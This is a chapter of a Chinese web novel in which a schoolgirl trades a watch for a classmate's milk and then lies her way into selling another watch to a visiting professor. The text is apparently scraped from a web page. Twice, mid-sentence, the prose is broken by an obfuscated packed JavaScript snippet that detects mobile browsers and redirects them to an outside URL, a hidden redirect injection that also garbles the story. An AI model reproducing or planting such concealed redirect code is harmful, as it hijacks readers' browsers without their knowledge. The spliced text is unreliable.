苏曜文用力地点点头。 “这是我一个远房亲戚送我的,听说买来的时候要五十块钱呢,如果你想要,我五块钱卖给你。” “五块?”别说五十块,哪怕五块也出不起啊,苏曜文很是沮丧,“我哪有这么多钱。” “你不是有零花钱吗?”厂长爷爷这么疼他,零花钱想必不少。 “我零花钱存到现在只有一块多。” 林小堂不信,“你平时过年过节不收亲戚的红包?” “过年过节收到的大红包都被我妈保管着,我一下子要五块,她肯定追问我的用途,要是被她知道我用来买手表,最后这手表肯定被她征用啦,那我不是亏大发了?” 嘿,这小屁孩,还挺有考量。 “这么说,你没有五块钱?那我问你,现在有个不用你掏钱就可以得到手表的办法,你愿不愿意试试?” 苏曜文一听,眼睛亮了,“什么办法?” 林小堂招呼他靠近一点,两人在课堂上小声地交头接耳:“你看哈,这块手表五块钱,你每个月订牛奶的价格也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14055015|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是五块钱,这样吧,你把一个月的牛奶都给我喝,我就把这块手表给你。” “你想想,订牛奶的钱是你家里人出,这相当于你用家里人的钱买了一块手表,不用花费你个人的零花钱,多划算啊。” 这么一分析,苏曜文也觉得挺有道理,“对啊,就这么办!” 反正牛奶每个月都会有,拿一个月出去也不会少块肉,换了手表后手表以后就都是他的了,这很划算。 林小堂也觉得很划算。 她压根就没想着把手表卖给苏曜文,熟人的生意不能做,不用她二姐耳提面命她也知道,做了熟人生意,万一被举报就糟了,所以她才特意报价五块钱。 打从一开始就是想换牛奶而已。 就算到时候被人发现,她和苏曜文只是以物换物而已,法律可没规定不可以以物换物。 反正她的初衷也是想存私房买牛奶喝,这下倒是委婉达成目的了,也不错。 她当即把手腕上的手表取下,递给旁边的苏曜文。 苏曜文猴急地接过,迫不及待往手腕上凑,不忘给她保证:“今天的牛奶我喝了,从明天起,我都给你。” “好。” 两人达成一致,相视一笑,都觉得自己赚到了。 开心过完一上午,林小堂饥肠辘辘跑回家吃了一顿饭。中午有两个小时的活动时间,几口扒完饭的林小堂放下碗筷,急匆匆往外跑。 她没赶着去学校,而是跨过两条街,在附近的工厂区徘徊。 工厂的员工们中午休息时间并不长,吃过饭后,陆陆续续往厂区走,林小堂蹲在路边仔细观察他们的手腕。 一路经过十几个人,几乎没人佩戴手表。 要么是经济不允许,要么是压根没有货源。 这些员工在厂里争分夺秒地干活,总有一些时间观念强的人需要手表,林小堂静静观察好一会儿,终于决定出击。 厂区大门口,一位西装革履提着黑色公文包的中年男人进入林小堂的视野。 他洁白的衬衣袖口崭新整洁,手腕上同样没有手表。 看他衣着,怎么着也应该是小主管之类的管理层。 应该不差这十块八块的。 林小堂踱着小碎步,缓缓朝人靠近。 提着公文包的郑洋站在路口等同事出来,一回头,身后不知何时站了个扎着两条羊角辫的圆圆脸蛋小姑娘。 小姑娘看起来七八岁,一双眼睛莫名热情望着他,弄得他有些摸不着头脑。 他左右张望,没看到疑似家长的人物,于是蹲下身去,慈祥地望向面前这个小女孩,“怎么了,你是有什么事吗?” “嗯。”小女孩用力地点点头。 看来是和父母失去联系,找不到家长了。 郑洋心里估摸了个大概情况,犹豫着是领着小女孩进厂里找他朋友帮忙,还是直接把小女孩送进附近的派出所。 谁知面前的小女孩却突然从怀里掏出一块手表,扬着一张天真的笑脸,“叔叔,你需要表吗?” 郑洋:? 15. 二道贩子 郑洋有点懵。 这个小姑娘难道是在和他推销手表吗? 光天化日,朗朗乾坤,一个七八岁的小姑娘居然独自出来做买卖? 郑洋心情很是复杂,他想起国内一些常见的骗局,专门拿小朋友做诱饵引人上钩,面上慈爱的表情顿时淡了些,收敛脸上的笑容,冷声回复:“不需要。” 说完抬步便走。 小女孩紧跟其后,“叔叔,我看您衣冠楚楚,一表人才,肯定是个干大事的,干大事的人的时间都很金贵,您买个表吧,绝对有用。” 郑洋脚步一顿。 身后的小姑娘也跟着停下。 他回过身望向这个不肯罢休的女孩,沉默片刻,从口袋里掏出一只金色的怀表。 “我有计算时间的工具,不需要手表。” 小姑娘不死心,“怀表都是老古董啦,现在时髦的人都戴手表,我看叔叔您神采奕奕,自信从容,一定是个与时俱进的人。” 郑洋挑眉。 他以为掏出怀表后,小姑娘会知难而退,没想到对方迎难而上,继续给他输出一大堆道理。 真是个执着的小姑娘。 他盯着手中的金色怀表,语气坚定:“这怀表是我亡妻留给我的唯一一件东西,我不想换。” 小姑娘一怔,脸上显现一层愧疚。 面色发窘地支支吾吾:“抱、抱歉啊,我不是故意要揭伤疤。” “没事。”郑洋不太在意。 他妻子已经离世好几年,除了最开始两年格外悲痛,近些年他已经慢慢释怀,主动提及也不会再有太大的情绪波动。 将怀表塞进口袋,他提着公文包转身便走。 “等等。” 身后响起小姑娘清脆的稚嫩声音,郑洋纳闷,难道她还没死心? “叔叔,我看您个人是不需要手表了,但是手表是个很实用又很时髦的东西,您自己不需要,可以买来作为礼物送给您朋友,这样的礼物送给谁都不跌份。” 郑洋再次挑眉。 这个小姑娘的口齿伶俐得有些过分了。 从事多年教育事业的郑洋职业病发作,开始细细打量面前这个圆头圆脑的小女孩。 回想她之前的言论,成语信手拈来,毫不费劲,且思维转换灵活,能对他一次次的拒绝做出迅速敏捷的反应。 是个不错的苗子。 郑洋心中一动,蹲下身来静静盯着她,存心考验:“你说这个手表可以送人?那如果我没什么朋友可以送怎么办?” “不送朋友也没有关系。”小姑娘杏眼滴溜溜一转,“我看叔叔您肯定是个有身份的人物,手底下管着一大票人呢,你买了手表,可以当做奖励品,谁干得最好,你就把手表奖励给谁,这样很能提高工人的积极性。” 得,看来是把他误认为橡胶厂里的管理层了。 不过这小姑娘心里还真细腻,能从他的衣着判断身份,也能根据这个身份给他编出买手表的理由。 “那如果我不想把手表当做奖励品呢?你也说了,手表是个时髦又好用的东西,就这么白白奖励给别人,我舍不得。” 随便扯了个理由的郑洋好整以暇望着面前的小姑娘。 他自己不需要,也不想送朋友,更不想把手表当成奖励品,他倒要看看,在故意的刁难下,被逼到这个份上,小姑娘还有没有应对之策。 果然,小姑娘沉默了。 沉默不到几秒,她咬咬牙,下定决心似的凑近,小声道:“叔叔,我把这块手表20块钱卖给你,你可以50块钱卖给别人。你身边有钱人多,应该不会缺冤大头。” 噗呲—— 郑洋被逗乐了。 感情这小姑娘在教他怎么当个黑心的二道贩子? 小小年纪,心思倒挺深沉。 不知怎地,郑洋被这句话莫名触动,温声问:“你很缺这二十块钱吗?” 小姑娘没吭声,只默默把脑袋垂了下去。 郑洋心里顿时一软。 这个年龄的小孩子应该都在上学,她独自一人跑出来厚着脸皮推销手表,多半是为生活所迫。 她身上一件蓝色的棉袄色泽陈旧,脚底橘红色皮鞋的鞋头快要磨破,看得出家境的确不太好。 想想他差不多大的小外甥住着宽大豪华的房子,上着最好的学校,穿着新衣新鞋,风吹不到雨淋不到,而在同一片天空下的这个小姑娘,小小年纪就要顶着大人们异样的眼光做买卖挣钱。 唉,就当是做善事吧。 “好,我可以买手表。”郑洋掏出二十块钱,“不过,你得回答我一些问题。” “什么问题?”小姑娘抬起亮晶晶的眸子问。 “你叫什么名字?” 小姑娘捡起一根树枝,在地上写下“唐晓玲”几个字。 字迹很工整,不像是没读过书的人。 郑洋追问:“你在上学吗?” 小姑娘脑袋摇得跟拨浪鼓似的。 “那你为什么不去上学?家长不同意送你上学?” 小姑娘不吭声了,又像先前那样,默默垂下脑袋。 郑洋绕过这个问题,又问:“你家住在哪里?” 小姑娘弱弱地呢喃:“妈妈说不可以把家庭住址随便告诉陌生人。” 郑洋一愣,“行,你妈妈说得对,以后也不要随便告诉陌生人。” 他将二十块钱的纸币递过去,小姑娘利索地接过,很快把手表塞给他。 郑洋接过手表,塞进公文包中,“你愿不愿意……欸?” 一抬头,面前的小姑娘跑得无影无踪。 人呢? 郑洋站在路边茫然地四处张望,那个小小背影不知道何时彻底消失在视线中,仿佛从没出现过。 怔神之际,肩膀被人轻拍一下。 从厂里出来的同事疑惑地看着他,“怎么一副魂不守舍的样子?” 郑洋望着左右两边人来人往的街道,苦笑:“没什么,刚才遇见了一个有趣的小孩。” “小孩?”同事笑他,“是不是迫不及待要去晋东小学了?小学离这里不远,开车过去只要几分钟,咱们上车吧。” 说罢,两人走向路边停着的一辆桑塔纳。 —— 揣着二十块钱一鼓作气跑到小学门口的林小堂终于松了一口气。 她气喘吁吁靠着铁栅门休息片刻,不放心地重新将钱掏出来仔细检查。 天呐,那位大叔太难搞了! 她中途差点想放弃,几次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14055016|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三番被拒绝,激起她内心的挑战欲,不死心地磨了半天嘴皮子,又是卖惨又是撒谎,才把这二十块钱赚到手。 啧啧,赚钱真不容易。 要不是那位大叔太难搞,她也不至于把价格提到二十元,既然一个人身上花费了她劝说两个客户的精力,那理应提高一些报酬。 话说,她提供的信息没有一句真话,那位大叔应该以后也找不到她人吧。 唯一能确认的信息只有她的面貌而已,顶多以后少往橡胶厂那边走动就是了。 林小堂没什么心理负担地把二十块钱揣进兜里。 哼着小曲儿高兴地往教室走去。 她不知道的是,在她走后,一辆白色的桑塔纳缓缓驶入学校大门。 站在教学楼二楼的陈阳一眼看到校门口的白色小轿车,料想这肯定是郑教授过来了,连忙放下手中保温杯,跟着校长一起噔噔噔地下楼去迎接。 “哟,接到通知说是下午过来,没想到这么快就过来了,有失远迎,郑教授您见谅。”校长热情地伸出双手。 郑洋握了握手,“临时有事去了一趟橡胶厂,耽误了一些时间,可能给你们造成一些不便了。” “没有没有。”寒暄几句后,校长让陈阳领着郑洋去办公室办正事。 路过走廊,陈阳走在前面开路,“郑教授,您这次过来……” 回头一看,郑教授突然停住脚步,面色变得凝重。 弄不清楚情况的陈阳心里直捣鼓,他没说错什么话吧? 他什么也没说啊!这肯定不关他的事。 “郑教授,怎么了?”陈阳小心翼翼退回去,关切地问。 郑洋恍若未闻,他一双眼狐疑地在底下操场扫视,心里泛起一丝嘀咕。 刚才无意地一瞥,仿佛从人群中探到一抹小小的扎着两条羊角辫的蓝色身影。 是错觉吗? 静静往操场上搜寻一番,再也没出现那抹熟悉的背影。 难道是他看花了眼? 也是,这年头的小学生,大多数扎着两条羊角辫,穿着蓝色的灰色的棉袄,看来是他疑心太重。 “没什么,想起一些其他事情。”郑洋收回目光,朝陈阳解释。 陈阳没追问下去,一路陪着笑脸将人带到办公室。 提起脚边的铝皮热水壶,抓入一些上好的龙井,陈阳客气地给来人泡了两杯热茶。 “两位,请坐。” 陈阳将茶杯递过去,指了指旁边的办公桌。 办公桌面上,堆放着他早已准备好的一些关于顾云学习成绩的资料。 “郑教授,这次您过来是想了解顾云以往的学习情况,我接到通知后尽快将资料整理出来,这些都是顾云之前的试卷和作业,另有单独统计的成绩表,您可以随便抽查。” 郑教授这次是特意为了解顾云过往的情况而来,陈阳自觉已经做好万全的准备,抛砖引玉之后,却迟迟不见郑教授的回复。 他抬眸望去,郑教授捧着热茶,面色凝思,不知道心里在想些什么。 看来郑教授今天心里有事啊。 陈阳正琢磨着该怎么进行接下来的话题,郑教授突然放下茶杯,严肃地问他:“陈老师,学校里有没有一个叫做唐晓玲的学生?”